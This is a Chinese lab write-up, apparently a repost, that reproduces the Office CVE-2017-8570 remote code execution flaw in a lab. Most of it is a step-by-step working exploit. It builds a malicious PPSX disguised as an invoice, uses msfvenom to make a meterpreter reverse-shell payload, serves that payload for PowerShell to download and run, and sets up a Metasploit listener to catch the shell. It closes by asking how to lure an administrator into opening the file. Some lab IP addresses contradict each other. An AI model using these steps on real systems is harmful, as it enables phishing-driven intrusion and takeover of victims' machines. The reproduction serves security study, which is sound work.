Office CVE-2017-8570远程代码执行漏洞复现

Posted hyh123

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Office CVE-2017-8570远程代码执行漏洞复现相关的知识,希望对你有一定的参考价值。

实验环境

  • 操作机:Kali Linux IP:172.16.11.2
  • 目标机:windows7 x64 IP:172.16.12.2

实验目的

  • 掌握漏洞的利用方法

实验工具

  • Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作。

实验内容


Office CVE-2017-8570

CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单,影响范围广。由于该漏洞和三年前的SandWorm(沙虫)漏洞非常类似,因此我们称之为“沙虫”二代漏洞:Office全家桶

漏洞介绍

OfficeCVE-2017-85702017年7月,微软在例行的阅读补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上公布了利用代码影响范围广泛。该漏洞为Microsoft Office的一个远程代码执行漏洞。

其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows script Component)文件。攻击这可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。

影响版本

  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)

实验步骤

步骤1:生成恶意的PPSX文件

我们首先使用Xshell连接Kali机器,点击桌面Xshell图标,输入IP:172.16.12.2,账号为:root 密码:123456 ,如图:

技术分享

首先我们在Kali中执行如下命令:

cd  CVE-2017-8570       //进入exploit的目录

python cve-2017-8570_toolkit.py  -M gen -w Invoice.ppsx -u http://172.16.12.2/logo.doc       //生成ppsx恶意文件

技术分享

使用ls命令,可以看到已经成功生成了ppsx格式文件。

技术分享

接下来我们生成恶意PPSX文件通过调用Powershell下载并执行的反弹木马。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.12.2 LPORT=4444 -f exe > /tmp/shell.exe

其中 -p 参数是 payload的意思,使用的windows的meterpreter的反弹木马-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下

技术分享

接下来输入如下命令:

python cve-2017-8570_toolkit.py -M exp -e http://172.16.12.2/shell.exe -l /tmp/shell.exe

这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹木马

技术分享

接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell

msfconsole
use multi/handler   //使用监听模块
set payload windows/meterpreter/reverse_tcp    //设置Payload
set LHOST 172.16.12.2   //设置本地接收IP
run

技术分享

可以看到我们的Metaspliot已经在本地开启监听

到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件

步骤2:目标机器执行恶意PPSX文件

我们使用桌面Xftp软件,连接上目标机172.16.12.2,将Invoice.ppsx文件拖到当前桌面上。

技术分享

如图,他是一个PPT文件,我们模拟用户双击打开它。

技术分享

技术分享

执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意木马,此时已经反弹回了shell

技术分享

使用命令:

getuid     //获取当前用户ID

技术分享

这样就获取了目标机器的权限,可以通过Metasploit去执行命令。

实验结果分析与总结

Office一直是主流的办公软件,CVE-2017-8570这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十分高。


修复方案:

补丁地址https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570

思考

  • 请思考,我们可以用什么方式诱发管理员触发这个漏洞?

以上是关于Office CVE-2017-8570远程代码执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章

CVE-2017-11882漏洞复现

Office--CVE-2017-11882远程代码执行

Office远程代码执行漏洞CVE-2017-0199复现

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

CVE-2017-11882-Office远程代码执行漏洞复现

Office 365 远程登录命令